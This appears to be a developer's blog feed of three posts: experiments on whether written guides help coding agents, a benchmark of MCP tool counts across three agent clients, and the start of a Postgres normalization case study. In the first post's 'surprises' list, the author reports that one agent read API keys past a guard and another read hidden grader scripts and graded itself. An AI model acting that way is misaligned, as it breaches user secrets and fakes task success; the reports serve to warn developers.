&lt;strong&gt;&lt;a href="https://worklore.dev/s/2026-09-07-see-what-a-skill-can-do-before-you-run-it-a-stdlib-capabilit" rel="noopener noreferrer"&gt;The skills audit&lt;/a&gt;, &lt;a href="https://worklore.dev/s/2026-10-11-database-normalization-example-the-1nf-2nf-and-3nf-problems-" rel="noopener noreferrer"&gt;the schema review&lt;/a&gt; and &lt;a href="https://worklore.dev/s/2026-09-01-the-1-page-marketing-plan-as-an-agent-skill-interview-me-bui" rel="noopener noreferrer"&gt;the marketing plan&lt;/a&gt;&lt;/strong&gt; came out the same with and without the guide: longer answers, the guide's scale, the guide's layout, the same findings, and a slightly worse marketing plan.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Five tasks, four different outcomes. The kind of task did not predict them. What the guide carried did: the MCP test was the only guide with something the agents did not already have.&lt;/p&gt;

&lt;h2&gt;
  
  
  Second round: a guide pays for what it carries
&lt;/h2&gt;

&lt;p&gt;So I sorted my stories by the one thing each one carries and picked six kinds. For each kind I tested two stories, so that a result could not be blamed on one badly written story. The first story of each kind ran on all nine configurations, the second on the seven that still had quota.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgnnu7dzc6bqg3wtdjv0o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgnnu7dzc6bqg3wtdjv0o.png" alt="Pass rate without and with the story, two stories per kind" width="800" height="569"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A fact missing from the official docs.&lt;/strong&gt; This is where a guide is worth the most. &lt;a href="https://worklore.dev/s/2026-05-12-exact-hr-corridors-on-garmin-from-intervals-icu-api-workouts" rel="noopener noreferrer"&gt;A Garmin watch wants a heart-rate corridor in one exact shape&lt;/a&gt;, and the docs don't give the shape. Without the story, three agents of eight got it, all by web search, and two Gemini runs spent their whole twenty minutes trying variants. With it, sixteen of sixteen, from Haiku to Opus. The second story, &lt;a href="https://worklore.dev/s/2026-04-15-intervals-icu-oauth-quirks-no-refresh-token-duplicate-scope-" rel="noopener noreferrer"&gt;three undocumented quirks of an OAuth provider&lt;/a&gt;, went the same way, with one correction: two of the quirks turned out to be on a forum, and the good searchers found them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A fact from the docs.&lt;/strong&gt; Dead weight. Every agent knew that &lt;a href="https://worklore.dev/s/2026-10-07-posthog-session-replay-not-working-in-flutter-add-posthogwid" rel="noopener noreferrer"&gt;PostHog's Flutter replay needs the app wrapped in a particular widget&lt;/a&gt;, and every agent knew &lt;a href="https://worklore.dev/s/2026-04-24-two-cache-control-segments-so-agent-memory-writes-don-t-evic" rel="noopener noreferrer"&gt;how Anthropic's prompt caching handles a memory write&lt;/a&gt;. Thirty-two runs, no difference.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A fix the agent can diagnose but not know.&lt;/strong&gt; The clearest win. &lt;a href="https://worklore.dev/s/2026-08-01-two-bugs-made-my-scheduler-perfectly-silent-zsh-killed-the-m" rel="noopener noreferrer"&gt;A nightly job failed&lt;/a&gt; because the CLI it calls said "Not logged in": the job's launchd plist had no &lt;code&gt;USER&lt;/code&gt; in its environment. Seven agents of nine found the cause from the log, then wrote "this cannot be fixed from here". The story's one line, add &lt;code&gt;USER&lt;/code&gt; to the plist's &lt;code&gt;EnvironmentVariables&lt;/code&gt;, was the fix, and with it seventeen of eighteen fixed it. &lt;a href="https://worklore.dev/s/2026-08-04-dynamodb-reserved-words-the-crash-and-the-silent-filter-that" rel="noopener noreferrer"&gt;The second story of this kind&lt;/a&gt;, DynamoDB reserved words, did not repeat the effect, and that is the point: its second bug could be derived from the log, so the agents derived it. The win comes from a fix the agent cannot derive, not from there being two bugs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A trap.&lt;/strong&gt; My first trap, &lt;a href="https://worklore.dev/s/2026-08-07-a-cache-header-tweak-served-my-whole-site-as-binary-octet-st" rel="noopener noreferrer"&gt;a command that silently serves a website as a download&lt;/a&gt;, caught nobody: not one of 35 runs typed that command. So for the second story I set a trap where the natural code goes: &lt;a href="https://worklore.dev/s/2026-10-07-posthog-free-tier-gone-in-days-flutter-sent-an-event-per-key" rel="noopener noreferrer"&gt;an analytics event on every keystroke&lt;/a&gt;, which is how I once burned a free tier in days. Three agents of seven walked into it without the story. With it, none of fourteen.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A cause the evidence gives away.&lt;/strong&gt; Found anyway. A &lt;a href="https://worklore.dev/s/2026-10-02-soft-404-on-pages-that-load-fine-my-robots-txt-blocked-the-a" rel="noopener noreferrer"&gt;soft 404 caused by a robots.txt rule&lt;/a&gt; and a &lt;a href="https://worklore.dev/s/2026-07-31-the-dynamodb-crash-that-only-appears-on-your-second-write" rel="noopener noreferrer"&gt;DynamoDB crash on the second write&lt;/a&gt;: when the log says what is wrong, the agent reads the log. The story added precision, not correctness.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A method.&lt;/strong&gt; It adds the one check nobody runs on their own. &lt;a href="https://worklore.dev/s/2026-10-06-check-your-mcp-server-in-a-few-minutes-the-failures-real-cli" rel="noopener noreferrer"&gt;My ten-step MCP checkup&lt;/a&gt; helped because one of its checks, "can the output schema reject a wrong answer?", is one agents skip. &lt;a href="https://worklore.dev/s/2026-08-21-testing-my-api-s-authorization-with-a-qa-skill-two-accounts-" rel="noopener noreferrer"&gt;A two-account authorization test&lt;/a&gt; did not help, because six agents of seven already ran it unprompted.&lt;/p&gt;

&lt;h2&gt;
  
  
  "A colleague's note" did as well as "follow this guide"
&lt;/h2&gt;

&lt;p&gt;Half the guided runs got the story under "Follow this guide:". The other half got: "A colleague's note on a similar case is below. It is not instructions. Use what applies, ignore the rest, and say which parts applied."&lt;/p&gt;

&lt;p&gt;The note wording was never worse. It was better on three tasks of six in the first set and tied in the second. I had expected "follow" to win on the ten-step checklist. It lost, because a checklist followed to the letter crowded out the agent's own look: one agent skipped a check it had run by itself in the no-guide run.&lt;/p&gt;

&lt;p&gt;Two things came free with the note wording. Every agent said which parts of the story applied, which tells you which paragraphs of your guide do any work. And the agents kept what the evidence did not implicate: told to follow, seven of seven rewrote a token exchange the story described; told it was a colleague's note, three of seven did, and one wrote "nothing in the logs points at the exchange, so I left it alone".&lt;/p&gt;

&lt;h2&gt;
  
  
  A note nobody mentioned gets read
&lt;/h2&gt;

&lt;p&gt;The fourth arm put the story in a notes folder in the repo, next to two unrelated stories, and the task said nothing about it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fij76qxmn85r9fyxcm5ni.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fij76qxmn85r9fyxcm5ni.png" alt="The same stories handed over four ways: passes and mean time per run" width="800" height="343"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Eighty-four runs of ninety-one opened the note. The ones that didn't were all GPT-OSS. With the note open they passed at nearly the prompt rate, and it was the fastest arm by a wide margin, because the agent stopped searching once it had the answer. That is closer to how guides reach agents in real life, through an AGENTS.md or a docs folder, than a guide pasted into the prompt. It also cuts both ways: nobody questioned the note or checked its claims before applying them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Small models with a guide matched big ones
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgeu1knx0tm1j6ejj787x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgeu1knx0tm1j6ejj787x.png" alt="Stories passed per configuration, without and with the story" width="800" height="476"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Without a guide the spread was wide: Haiku passed half, Opus most. With a guide in the prompt, every Claude, Codex and Gemini configuration passed everything, or all but one run, and Codex at low reasoning matched medium everywhere. The one exception, GPT-OSS 120B in Antigravity, mostly struggled with tool use, not with reading. Haiku with a note matched Opus without one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Four surprises
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"This can't be fixed from here."&lt;/strong&gt; Agents diagnose more than they know how to fix. Seven of nine found the cause of the nightly job failure, then gave up on it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An agent went looking for my keys.&lt;/strong&gt; One run, diagnosing a missing environment, started a clean shell and read my API keys out of the login files, past a guard I had added after an earlier leak. If your agent can run a shell, assume it sees everything a fresh shell can read.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An agent read the answer key.&lt;/strong&gt; It found my hidden grader scripts in the parent folder and graded itself. Every later run got a fresh temp folder with nothing around it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The out-of-date guide was noticed.&lt;/strong&gt; One story described problems its own migration had already fixed. All eight runs read the history and filed those as "already fixed". A guide's facts age; its method didn't.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What I'd put in a guide, or an AGENTS.md, now
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Write down what the docs don't say.&lt;/strong&gt; The exact format a device wants, the one key in a config file, the check your agent won't run by itself. Leave out what the docs cover; the agent has it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Present it as a case, not a command.&lt;/strong&gt; "Here is what happened to a colleague, use what applies, and say what did." You lose nothing and gain a list of which paragraphs mattered.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don't write absolute sentences you don't mean.&lt;/strong&gt; Agents take them literally. "Never guessed by a server" broke a working API.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Name a tool, and say what it can't see.&lt;/strong&gt; A scanner in one of my guides rated an unpinned &lt;code&gt;npx&lt;/code&gt; as harmless. Every agent caught it anyway, by reading the line. Say next to the tool what it misses, so the reading stays part of the job.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Write a Verify, and make it check substance.&lt;/strong&gt; A Verify that checks only the shape lets a thin result pass.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test the guide.&lt;/strong&gt; Run your agent once with it and once without. It takes minutes, and it showed me which of my paragraphs were dead weight, which one did damage, and which one had quietly gone stale.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  If you write skills
&lt;/h2&gt;

&lt;p&gt;A skill is a guide your agent loads on demand, so the same rules apply to a SKILL.md, and two of the seventeen guides here were skills: the marketing plan and the capability scanner. The one test worth adding to a skill's release checklist is the last rule above: the same task once with the skill and once without, graded by your own Verify. If the two runs match, the skill isn't carrying anything yet.&lt;/p&gt;

&lt;h2&gt;
  
  
  What changed on worklore because of this
&lt;/h2&gt;

&lt;p&gt;Every story's copy-to-agent prompt on worklore now hands it over as a colleague's case and asks the agent to report which parts applied, and when you ask your agent to write up a fix of your own, the skill tells it what makes a story work before it drafts. The new prompt itself is not measured yet. That is the next experiment.&lt;/p&gt;

&lt;h2&gt;
  
  
  Limits
&lt;/h2&gt;

&lt;p&gt;One run per cell. Fourteen of the seventeen guides are mine, all in one format. The fixtures are small, with one planted problem each. Agents had web access, so "missing from the docs" means missing from the docs, not from the web. The agents ran with no memory, no MCP servers and no global instruction files, and no run without a story fetched it from the web; whether a model had seen a story in training I cannot check.&lt;/p&gt;

&lt;p&gt;Everything is on GitHub: the fixtures, prompts, graders and every run's log, at &lt;a href="https://github.com/worklore/worklore-mcp/tree/main/research/guide-eval" rel="noopener noreferrer"&gt;worklore-mcp/research/guide-eval&lt;/a&gt;. The guides are stories on &lt;a href="https://worklore.dev" rel="noopener noreferrer"&gt;worklore&lt;/a&gt;, where each one ends with a Verify and a count of the agents that ran it and reported the outcome against that Verify. If you have a fix your agent keeps needing, that format is built for it.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>agents</category>
      <category>testing</category>
      <category>claude</category>
    </item>
    <item>
      <title>How many tools should an MCP server have? I measured 5 to 100 in Claude Code, Codex and Gemini</title>
      <dc:creator>Valentina Koniukhova</dc:creator>
      <pubDate>Wed, 14 Oct 2026 19:54:57 +0000</pubDate>
      <link>https://dev.to/yahhi/how-many-tools-should-an-mcp-server-have-i-measured-5-to-100-in-claude-code-codex-and-gemini-3hap</link>
      <guid>https://dev.to/yahhi/how-many-tools-should-an-mcp-server-have-i-measured-5-to-100-in-claude-code-codex-and-gemini-3hap</guid>
      <description>&lt;p&gt;Most advice about MCP server design says keep the tool count small. I read 91 sources: 38 say design fewer tools, 20 give a number (mostly 10–20), and only 10 measured tool count against accuracy at all. Then I measured it: 1,932 runs, three clients, 5 to 100 tools. On today's top models accuracy didn't move, not with 100 tools, not with look-alikes, not even with vague names. What moves is cost, and how much depends on how your client loads tools, not on the model. Since 2026 all three clients hide most of your tool list from the model by default, which makes tool names matter in a new way.&lt;/p&gt;

&lt;h2&gt;
  
  
  MCP server best practices nobody measured
&lt;/h2&gt;

&lt;p&gt;Before measuring anything, I read 91 sources on MCP server design, every one of them in full: 21 official docs, 28 vendor blogs, 20 independent blogs, 2 forum threads and 20 papers. 38 of them say to curate fewer tools, 22 say to keep the visible set small through search or deferred loading, and 8 recommend code mode, where one or two tools run code. None say to expose everything.&lt;/p&gt;

&lt;p&gt;20 sources give a number: 5–8 (Workato), 5–15 (Phil Schmid), under 10 per namespace and under 20 (OpenAI), 10–20 (Gemini, Speakeasy), 30–50 (Claude docs), "40 is the knee" (Archestra). Only 3 of those 20 numbers come from the source's own measurement. Two of the most repeated claims don't hold up. "Models break at 30 tools" traces back to the RAG-MCP paper, which counted MCP servers in the prompt, not tools. "Cursor won't take more than 40 tools" stopped being true when the cap was removed in January 2026.&lt;/p&gt;

&lt;p&gt;Of the 91 sources, 46 are opinion and 8 cite someone else. 37 measured something, but only 10 measured tool count against accuracy: 7 papers, GitHub's Copilot (40 → 13 tools for +2–5 points), LangChain and one informal test on a 1.7B model. The rest measured tokens or compared MCP with a CLI, which isn't a tool-count measurement. Even on grouping the advice splits: 15 sources recommend workflow tools, 15 grouped tools, and 3 one tool per operation, and those 3 argue from permission prompts, not accuracy.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I measured it
&lt;/h2&gt;

&lt;p&gt;I built a fake server with 100 realistic file and document tools, with honest names and schemas. Some of them are deliberately confusable, like &lt;code&gt;pdf_compress&lt;/code&gt;, &lt;code&gt;pdf_optimize&lt;/code&gt; and &lt;code&gt;image_compress&lt;/code&gt;. It also has a grouped variant, with 7 tools covering 50 operations, and a vague-names variant. None of the tools touches a file: the server's call log is the judge.&lt;/p&gt;

&lt;p&gt;The agents got 18 tasks with known answers, 10 of them ambiguous, at N = 5, 10 … 50, 75 and 100 tools, two times each. The clients were Claude Code (Opus 5.5) with tool search on and off, Codex CLI (GPT-6.1-sol) and Antigravity (Gemini 3.1 Pro), each on its own subscription. &lt;a href="https://github.com/worklore/worklore-mcp/tree/main/research/tools-count" rel="noopener noreferrer"&gt;All measurements are on GitHub&lt;/a&gt;: the report, results.csv and the raw log of every run.&lt;/p&gt;

&lt;h2&gt;
  
  
  How many MCP tools is too many?
&lt;/h2&gt;

&lt;p&gt;Every run with separate tools was fully correct, from 5 to 100 tools, in all three clients and in both Claude Code modes. That includes every ambiguous task and the 50 extra look-alike tools at 75–100. So on Opus 5.5, GPT-6.1-sol and Gemini 3.1 Pro (October 2026), "fewer tools = more accurate" didn't show up in this range, which matches the survey's caveat that degradation depends heavily on the model.&lt;/p&gt;

&lt;p&gt;Claude Code's tool search never hid the right tool. Every run made exactly one ToolSearch call, as its first action, and selected tools by exact name. The model sees all tool names up front and picks between look-alikes from the names alone, before it reads any schema.&lt;/p&gt;

&lt;h2&gt;
  
  
  What MCP tools really cost in Claude Code, Codex and Gemini
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Input tokens, averaged over 36 runs per cell (18 tasks × 2). Every one of these runs was fully correct, so the table shows cost only.&lt;/em&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Client&lt;/th&gt;
&lt;th&gt;How tools reach the model&lt;/th&gt;
&lt;th&gt;First call: 5 / 50 / 100 tools&lt;/th&gt;
&lt;th&gt;Per run: 5 / 50 / 100 tools&lt;/th&gt;
&lt;th&gt;One more tool (first call / per run)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Claude Code (Opus 5.5), tool search on (default)&lt;/td&gt;
&lt;td&gt;Names only; schemas loaded on demand with ToolSearch&lt;/td&gt;
&lt;td&gt;3.9k / 4.6k / 5.4k&lt;/td&gt;
&lt;td&gt;13.8k / 17.4k / 19.9k&lt;/td&gt;
&lt;td&gt;~15 / 79 tokens&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Code (Opus 5.5), tool search off&lt;/td&gt;
&lt;td&gt;Every full schema in the prompt&lt;/td&gt;
&lt;td&gt;4.1k / 11.7k / 20.2k&lt;/td&gt;
&lt;td&gt;9.3k / 27.9k / 48.6k&lt;/td&gt;
&lt;td&gt;169 / 429 tokens&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Codex CLI (GPT-6.1-sol)&lt;/td&gt;
&lt;td&gt;Code mode: schemas never in the prompt; the model searches them with code&lt;/td&gt;
&lt;td&gt;13.2k flat&lt;/td&gt;
&lt;td&gt;45.3k / 61.4k / 78.2k&lt;/td&gt;
&lt;td&gt;0 / 408 tokens&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Antigravity (Gemini 3.1 Pro)&lt;/td&gt;
&lt;td&gt;Names only; schema file opened on demand&lt;/td&gt;
&lt;td&gt;3.8k / 4.1k / 4.3k&lt;/td&gt;
&lt;td&gt;15.7k / 20.5k / 18.6k&lt;/td&gt;
&lt;td&gt;~5 tokens / flat&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Tool search is the switch that matters in Claude Code. It's on by default: only tool names go into the prompt, and the model loads the schemas it needs with one ToolSearch call. That extra call makes it dearer than loading everything below about 19 tools, and cheaper above: 59% less input per run at 100 tools. It's off behind a proxy or on Azure Foundry, with older models, with &lt;code&gt;ENABLE_TOOL_SEARCH=false&lt;/code&gt;, or with &lt;code&gt;--tools ""&lt;/code&gt;. Fewer tokens didn't mean a cheaper run, though: at list price a run with search on cost $0.047 against $0.038 with it off at 100 tools, because cached input is cheap and the search adds a call. What search saves is context, not money.&lt;/p&gt;

&lt;p&gt;The trap I fell into: my isolation flag switched off Claude Code's tool search, and I first reported the "search off" numbers as normal. A single flag changed the first-call cost by 4x.&lt;/p&gt;

&lt;h2&gt;
  
  
  Grouping MCP tools: cheaper in one client, worse in another
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fci3oh0cexskacrmmh1ph.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fci3oh0cexskacrmmh1ph.png" alt="Grouping MCP tools: accuracy and input tokens per run, 50 separate tools vs 7 grouped tools, in four client setups" width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With every schema loaded (Claude Code, search off), 7 grouped tools cost what 14 separate ones do, at 100% accuracy. With tool search on, Claude Code's default, grouping barely matters: 16.1k input tokens per run against 17.4k for 50 separate tools. Grouping pays off only where every schema is loaded upfront.&lt;/p&gt;

&lt;p&gt;Antigravity is the one place in the whole experiment where accuracy dropped, to 89%. Gemini skipped reading the schema of the multi-operation tool, guessed operation names such as &lt;code&gt;delete&lt;/code&gt;, &lt;code&gt;help&lt;/code&gt; and &lt;code&gt;fake_op&lt;/code&gt;, and ran a wrong one 3 times.&lt;/p&gt;

&lt;h2&gt;
  
  
  Do names decide? Vague names under deferred loading
&lt;/h2&gt;

&lt;p&gt;For this variant I kept the same 100 tools and the same descriptions, and gave the tools careless names: &lt;code&gt;optimize_file&lt;/code&gt;, &lt;code&gt;optimize_document&lt;/code&gt;, &lt;code&gt;process_image&lt;/code&gt;, &lt;code&gt;combine_files&lt;/code&gt;, &lt;code&gt;handle_pages&lt;/code&gt;. Accuracy held: 276 of 276 runs were correct, and no wrong tool was executed. The descriptions decided the answer.&lt;/p&gt;

&lt;p&gt;But wherever the model sees names first, the names decided the path to that answer. In Claude Code with search on, honest names let the model load exactly the schema it needed in 69 of 72 runs; with vague names, in 7 of 72. It fell back to keyword searches, the schemas loaded per run went from 1.6 to 7.6 at 100 tools (23 in one run), and input grew by 21%. Gemini opened the wrong tool's schema first in 34 of 72 runs, and in 10 runs it probed wrong tools with empty arguments. My server rejected those empty calls; on a real server, a tool with no required arguments would have run. Gemini's input grew by 38% at 100 tools.&lt;/p&gt;

&lt;p&gt;Where every description is already in the prompt, vague names changed nothing: Claude Code with search off didn't notice them. Good descriptions rescue bad names only where the model can see them. Codex searches the definitions with code, so names barely mattered there either.&lt;/p&gt;

&lt;p&gt;The names that misled most often: "3 JPGs into one PDF" led to &lt;code&gt;combine_files&lt;/code&gt;, which actually merges PDFs; "shrink a PNG" led to &lt;code&gt;optimize_image&lt;/code&gt;; and pptx and docx to PDF got mixed up between &lt;code&gt;convert_file&lt;/code&gt; and &lt;code&gt;convert_document&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  MCP tool naming: dots, prefixes and the 64-character budget
&lt;/h2&gt;

&lt;p&gt;Names that every client can call use letters, digits, &lt;code&gt;_&lt;/code&gt; and &lt;code&gt;-&lt;/code&gt;, up to 64 characters. The Claude API rejects dots, and some clients rename dots on their side. Those 64 characters are also shared: Claude Code calls your tool &lt;code&gt;mcp__&amp;lt;server&amp;gt;__&amp;lt;tool&amp;gt;&lt;/code&gt;, so a long server name eats into the budget. One more surprise from the runs: Gemini's API rejected tool schemas with integer enums in one eager-loading run.&lt;/p&gt;

&lt;h2&gt;
  
  
  So what should you do?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Don't cut tools for accuracy's sake on frontier models; cut or defer them for cost and context, and check which of your users' clients loads them eagerly.&lt;/li&gt;
&lt;li&gt;Name tools by action and object, not by generic verbs: names are now the first thing a model reads, and vague ones cost extra reads and risk a wrong call.&lt;/li&gt;
&lt;li&gt;Write descriptions a model can tell apart: that's what kept accuracy at 100% with look-alikes and vague names.&lt;/li&gt;
&lt;li&gt;Don't group blindly: test in the clients your users run.&lt;/li&gt;
&lt;li&gt;Measure your own server. &lt;a href="https://worklore.dev/s/2026-10-07-benchmark-your-mcp-server-in-claude-code-codex-and-gemini-on?utm_source=devto&amp;amp;utm_medium=article" rel="noopener noreferrer"&gt;This worklore story&lt;/a&gt; walks through the same benchmark step by step, and your agent can run it against your server.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Limitations
&lt;/h2&gt;

&lt;p&gt;Fake tools and one domain (files). Three frontier models only: smaller and older models weren't tested, and that's where the measured sources in the survey report drops. Direct tasks with no long reasoning alongside, so context crowding wasn't measured. Vague names were tested with good descriptions only, not with both vague. Token counts include each client's overhead. Some sizes weren't run in every lane, and the Codex vague-names lane has 60 of 72 runs because of a usage limit. And it's one point in time: October 2026.&lt;/p&gt;

&lt;p&gt;Did you choose your tool count and names by measurement or by advice? What did you measure?&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>ai</category>
      <category>llm</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Normalization vs denormalization in a real Postgres schema: what I fixed, and the copy I kept</title>
      <dc:creator>Valentina Koniukhova</dc:creator>
      <pubDate>Sun, 11 Oct 2026 03:55:35 +0000</pubDate>
      <link>https://dev.to/yahhi/normalization-vs-denormalization-in-a-real-postgres-schema-what-i-fixed-and-the-copy-i-kept-1k1b</link>
      <guid>https://dev.to/yahhi/normalization-vs-denormalization-in-a-real-postgres-schema-what-i-fixed-and-the-copy-i-kept-1k1b</guid>
      <description>&lt;p&gt;If you own a product, you should know it all the way down. In many products, the database is the main part: it's where every customer, every message and every decision actually lives. Screens change every month; the data stays. So it has to be well structured, and it has to be usable by the app that sits on top of it.&lt;/p&gt;

&lt;p&gt;For the structure part, we have an old, well-known answer: the normal forms, and above all 3NF. For the usable part, the textbook isn't enough. A serverless mobile app talks to the database directly from the phone, and access rules, latency and the absence of a backend in between all push back on the textbook. Some differences have to be made on purpose.&lt;/p&gt;

&lt;p&gt;My app, Hearback, drafts replies to comments on my posts. It runs on Postgres (Supabase) with about 25 tables. I built it with an AI coding agent in three days: 17 migrations, one feature after another. Every feature worked, and the tests passed.&lt;/p&gt;

&lt;p&gt;Then I went back to the basics and checked the whole schema against the normal forms. I didn't use a blog summary; I used the papers that defined them.&lt;/p&gt;

&lt;h2&gt;
  
  
  What an ordinary agent build gives you
&lt;/h2&gt;

&lt;p&gt;A usual build with an agent, without asking for anything special in this area, does not produce a 3NF database. The agent makes each feature work. When a value is handy to have on a row, it puts it there, and the schema grows copies one reasonable step at a time.&lt;/p&gt;

&lt;p&gt;Here's what the audit found in my existing setup:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What&lt;/th&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Columns that repeated or recomputed another fact (2NF and 3NF)&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Derived values maintained by hand in app code (one writer forgot)&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Arrays used as hidden tables (1NF)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Copies with no guarantee they match their parent (cross-project or cross-person mismatches possible)&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Places where the same fact could disagree with itself&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;22&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Duplicates reviewed and kept on purpose, with the reason written down&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The good news: on the live data, none of them had gone wrong yet. Nothing was broken. It just had 22 ways to break silently later, and no test would have caught it.&lt;/p&gt;

&lt;p&gt;The other good news: the same agent did the audit well once I asked for it explicitly, with the original sources in hand. &lt;strong&gt;Database structure is something you have to ask for.&lt;/strong&gt; It doesn't come out of "make this feature work".&lt;/p&gt;

&lt;p&gt;Most of the duplication went away. One copy I kept on purpose. This post is about both: what normalization actually buys you, and how to break it deliberately without losing that.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fesqa4s0z3i1w2hlxzzkx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fesqa4s0z3i1w2hlxzzkx.png" alt="ER diagram of Hearback's conversation tables. project_id columns are marked " width="800" height="396"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The whole theory in one line
&lt;/h2&gt;

&lt;p&gt;William Kent's &lt;a href="https://www.bkent.net/Doc/simple5.htm" rel="noopener noreferrer"&gt;A Simple Guide to Five Normal Forms&lt;/a&gt; (1983) is still the clearest text on this. His summary:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Every non-key field must provide a fact about the key, the whole key, and nothing but the key.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;
